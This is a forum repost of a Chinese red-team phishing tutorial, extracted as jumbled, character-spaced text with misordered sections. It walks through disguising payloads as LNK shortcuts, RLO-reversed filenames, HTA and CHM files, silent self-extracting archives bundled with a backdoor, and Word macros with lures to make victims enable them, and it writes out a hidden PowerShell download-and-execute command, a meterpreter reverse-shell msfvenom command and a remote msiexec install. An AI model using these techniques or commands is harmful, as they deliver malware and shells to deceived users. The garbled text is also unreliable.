搜索

[22011] 2021-05-26_红蓝对抗钓鱼篇之从入门到放弃

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-05-26_红蓝对抗钓鱼篇之从入门到放弃 1 . 1   L N K   快 捷 方 式 快 捷 方 式 红 蓝 对 抗 钓 鱼 篇 之 从 入 门 到 放 弃 L e m o n S e c   2 0 2 1 - 0 5 - 2 6 转 自 f r e e b u f / 作 者 ： y a n m i e 在 大 型 企 业 边 界 安 全 做 的 越 来 越 好 的 情 况 下 ， 不 管 是 A P T 攻 击 还 是 红 蓝 对 抗 演 练 ， 钓 鱼 和 水 坑 攻 击 被 越 来 越 多 地 应 用 。 钓 鱼 往 往 需 要 免 杀 技 术 的 支 撑 ， 但 本 章 只 讲 述 钓 鱼 和 些 许 免 杀 技 术 ， 免 杀 系 列 学 习 在 后 续 讲 解 。 一 、 钓 鱼 小 技 巧 l n k 文 件 是 用 于 指 向 其 他 文 件 的 一 种 文 件 。 这 些 文 件 通 常 称 为 快 捷 方 式 文 件 ， 通 常 它 以 快 捷 方 式 放 在 硬 盘 上 ， 以 方 便 使 用 者 快 速 的 调 用 。 l n k 钓 鱼 主 要 将 图 标 伪 装 成 正 常 图 标 ， 但 是 目 标 会 执 行 s h e l l 命 令 。 c s 演 示 ：
1 . 2   文 件 名 反 转 文 件 名 反 转 得 到 然 后 新 建 快 捷 方 式 ， 将 上 述 语 句 填 入 下 一 步 ， 然 后 自 己 命 名 一 下 ， 点 击 完 成 。 当 受 害 者 双 击 之 后 就 会 自 动 执 行 我 们 的 恶 意 p a y l o a d , 从 目 标 网 站 下 载 并 执 行 。 最 终 被 得 到   s h e l l 。 也 可 以 使 用 也 可 以 使 用 m s i e x e c . e x e ， 系 统 进 程 ， 是 ， 系 统 进 程 ， 是 W i n d o w s   I n s t a l l e r 的 一 部 分 的 一 部 分 , 利 用 此 进 程 来 加 载 我 们 利 用 此 进 程 来 加 载 我 们 s h e l l c o d e 可 以 达 到 一 定 的 规 可 以 达 到 一 定 的 规 避 作 用 。 避 作 用 。 R L O ， 即 R i g h t - t o - L e f t   O v e r r i d e ， 我 们 可 以 在 件 名 中 插 此 类 u n i c o d e 字 符 ， 来 达 到 件 名 反 转 的 效 果 。 以 来 举 例 ， 将 其 重 命 名 为 , 然 后 在   c m d   与   g   之 间 右 键 ， 看 图 操 作 p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 5 8 : 8 0 / a ' ) ) " m s f v e n o m - p w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p l h o s t = v p s i p l p o r t = 1 2 3 4 - f m s i > s h e l l . t x t c : w i n d o w s s y s t e m 3 2 m s i e x e c . e x e / q / i h t t p : / / x x x / s h e l l . t x t c m d . e x e c m d g p j . e x e
1 . 3   H T A 1 . 4   C H M o k ， 此 时 已 经 变 成 了   以   j p g   结 尾 的 了 。 但 是 双 击 运 行 还 是   e x e   格 式 运 行 的 。 再 利 用 修 改 图 标 。 找 个 小 姐 姐 图 片 转 换 为   i c o   格 式 。 如 图 ， 双 击 实 际 上 还 是 运 行 的 c m d 。 H T A 是 H T M L   A p p l i c a t i o n 的 缩 写 ， 直 接 将 H T M L 保 存 成 H T A 的 格 式 ， 是 一 个 独 立 的 应 用 软 件 ， 本 身 就 是 h t m l 应 用 程 序 ， 双 击 就 能 运 行 ， 却 比 普 通 网 页 权 限 大 得 多 ， 它 具 有 桌 面 程 序 的 所 有 权 限 。 制 作 ： 利 用   c s a t t a c k s — — > p a c k a g e s — — > H T M L   a p p l i c a t i o n 选 择 p o w e r s h e l l   生 成 。 C H M （ C o m p i l e d   H e l p   M a n u a l ） 即 “ 已 编 译 的 帮 助 文 件 ” 。 它 是 微 软 新 一 代 的 帮 助 文 件 格 式 ， 利 用 H T M L 作 源 文 ， 把 帮 助 内 容 以 类 似 数 据 库 的 形 式 编 译 储 存 。 制 作 C H M 需 要 用 到 一 个 工 具   E a s y C H M （ h t t p : / / w w w . e t e x t w i z a r d . c o m / ） C H M 制 作 过 程 ： 制 作 过 程 ： 创 建 一 个 文 件 夹 （ 名 字 随 意 ） ， 在 文 件 夹 里 面 再 创 建 两 个 文 件 夹 （ 名 字 随 意 ） 和 一 个 i n d e x . h t m l 文 件 ， 在 两 个 R e s o u r c e H a c k e r h t t p : / / w w w . b i t b u g . n e t /
1 . 5   自 解 压 自 解 压 文 件 夹 内 部 创 建 各 创 建 一 个 i n d e x . h t m l 文 件 。 将 下 列 代 码 放 入 : 打 开 E a s y C H M 工 具 后 点 击 新 建 然 后 导 入 自 己 创 建 的 文 件 夹 ， 点 击 确 定 后 再 点 击 编 译 ， 在 弹 出 的 对 话 框 中 点 击 生 成 C H M 按 钮 ， 会 你 生 成 一 个 C H M 文 件 。 点 击 之 后 就 会 弹 出 当 然 我 们 也 可 以 换 成 其 他 的 ， 比 如 说   p o w e r s h e l l   p a y l o a d 。 直 接 上 线 。 i n d e x . h t m l < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < t i t l e > M o u s e j a c k   r e p l a y < / t i t l e > < h e a d > < / h e a d > < b o d y > c o m m a n d   e x e c < O B J E C T i d = x c l a s s i d = " c l s i d : a d b 8 8 0 a 6 - d 8 f f - 1 1 c f - 9 3 7 7 - 0 0 a a 0 0 3 b 7 a 1 1 " w i d t h = 1 h e i g h t = 1 > < P A R A M n a m e = " C o m m a n d " v a l u e = " S h o r t C u t " > < P A R A M n a m e = " B u t t o n " v a l u e = " B i t m a p : : s h o r t c u t " > < P A R A M n a m e = " I t e m 1 " v a l u e = ' , c a l c . e x e ' > < P A R A M n a m e = " I t e m 2 " v a l u e = " 2 7 3 , 1 , 1 " > < / O B J E C T > < S C R I P T > x . C l i c k ( ) ; < / S C R I P T > < / b o d y > < / h t m l > c a l c . e x e
直 接 上 操 作 。 f l a s h 安 装 软 件 + c s 生 成 的 后 门 来 演 示 。 选 中 需 要 压 缩 的 软 件 ， 右 键 ， 点 击 点 击   高 级 - →   自 解 压 选 项 填 入 ,   绝 对 路 劲 ， （ C : W i n d o w s T e m p   文 件 夹 w i n d o w s 电 脑 都 有 ） 添 加 到 压 缩 软 件 创 建 自 解 压 格 式 压 缩 文 件 解 压 路 径
点 击 点 击 模 式 ， 设 置 - - - - - - - - 提 取 后 运 行 静 默 模 式 ，   全 部 隐 藏
点 击 更 新 ， 设 置 确 定 ， 出 去 可 以 文 件 名 改 的 像 一 点 。 更 新 方 式 - - - - 解 压 并 更 新 文 件 覆 盖 方 式 - - - - 覆 盖 所 有 文 件
1 . 6   捆 绑 文 件 捆 绑 文 件 最 后 点 击 确 定 。 生 成 自 解 压 文 件 ， 图 标 有 点 不 太 对 劲 ， 使 用   R e s t o r a t o r   把 f l a s h 图 标 抠 下 来 ， 在 弄 到 生 成 的 自 解 压 文 件 。 具 体 操 作 就 不 写 了 ， 直 接 看 结 果 。 K 8 免 杀 系 统 自 带 捆 绑 器 加 强 版 V 2 . 0 . E X E 超 级 文 件 捆 绑 器
2 . 1   基 础 知 识 基 础 知 识 2 . 2   W o r d 宏 钓 鱼 宏 钓 鱼 生 成 ， 执 行 之 后 会 执 行 c m d . e x e 一 样 的 效 果 ， 但 此 时 后 门 软 件 也 被 执 行 了 。 二 、 O f f i c e 钓 鱼 W I N 7 O f f i c e   2 0 1 6 M S F C S 宏 是 O f f i c e 自 带 的 一 种 高 级 脚 本 特 性 ， 通 过 V B A 代 码 ， 可 以 在 O f f i c e 中 去 完 成 某 项 特 定 的 任 务 ， 而 不 必 再 重 复 相 同 的 动 作 ， 目 的 是 让 用 户 文 档 中 的 一 些 任 务 自 动 化 。 现 在 O f f i c e 的 宏 功 能 已 经 默 认 是 禁 用 。 V i s u a l   B a s i c   f o r   A p p l i c a t i o n s （ V B A ） 是 V i s u a l   B a s i c 的 一 种 宏 语 言 ， 是 微 软 开 发 出 来 在 其 桌 面 应 用 程 序 中 执 行 通 用 的 自 动 化 ( O L E ) 任 务 的 编 程 语 言 。 主 要 能 用 来 扩 展 W i n d o w s 的 应 用 程 序 功 能 ， 特 别 是 M i c r o s o f t   O f f i c e 软 件 ， 也 可 说 是 一 种 应 用 程 式 视 觉 化 的 B a s i c   脚 本 。 常 用 的 套 路 使 对 方 开 启 宏 ， 文 档 是 被 保 护 状 态 ， 需 要 启 用 宏 才 能 查 看 ； 添 加 一 张 模 糊 的 图 片 ， 提 示 需 要 启 用 宏 才 能 查 看 高 清 图 片 ； 提 示 要 查 看 文 档 ， 按 给 出 的 一 系 列 步 骤 操 作 ； 贴 一 张 某 杀 毒 软 件 的 L o g o 图 片 ， 暗 示 文 档 被 安 全 软 件 保 护 。 推 片 来 源   h t t p s : / / m p . w e i x i n . q q . c o m / s / Y K Z 6 y W W x O h n 2 K j T V 5 l D P 7 w C S 生 成 宏
打 开 W o r d 文 档 ， 点 击   “ W o r d   选 项   —   自 定 义 功 能 区   —   开 发 者 工 具 ( 勾 选 )   —   确 定 ”   。 编 写 主 体 内 容 后 ， 点 击   “ 开 发 工 具   —   V i s u a l   B a s i c ” ， 双 击   “ T h i s D o c u m e n t ”   ， 将 原 有 内 容 全 部 清 空 ， 然 后 将 宏 p a y l o a d 全 部 粘 贴 进 去 ， 保 存 并 关 闭 该   V B A   编 辑 器   。 另 存 为 的 W o r d 类 型 务 必 要 选 ” W o r d   9 7 - 2 0 0 3   文 档   ( * . d o c ) ” ， 即   d o c   文 件 ， 保 证 低 版 本 可 以 打 开 。 之 后 关 闭 ， 再 打 开 即 可 执 行 宏 代 码 。 默 认 情 况 下 ， O f f i c e 已 经 禁 用 所 有 宏 ， 但 仍 会 在 打 开 W o r d 文 档 的 时 候 发 出 通 知 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理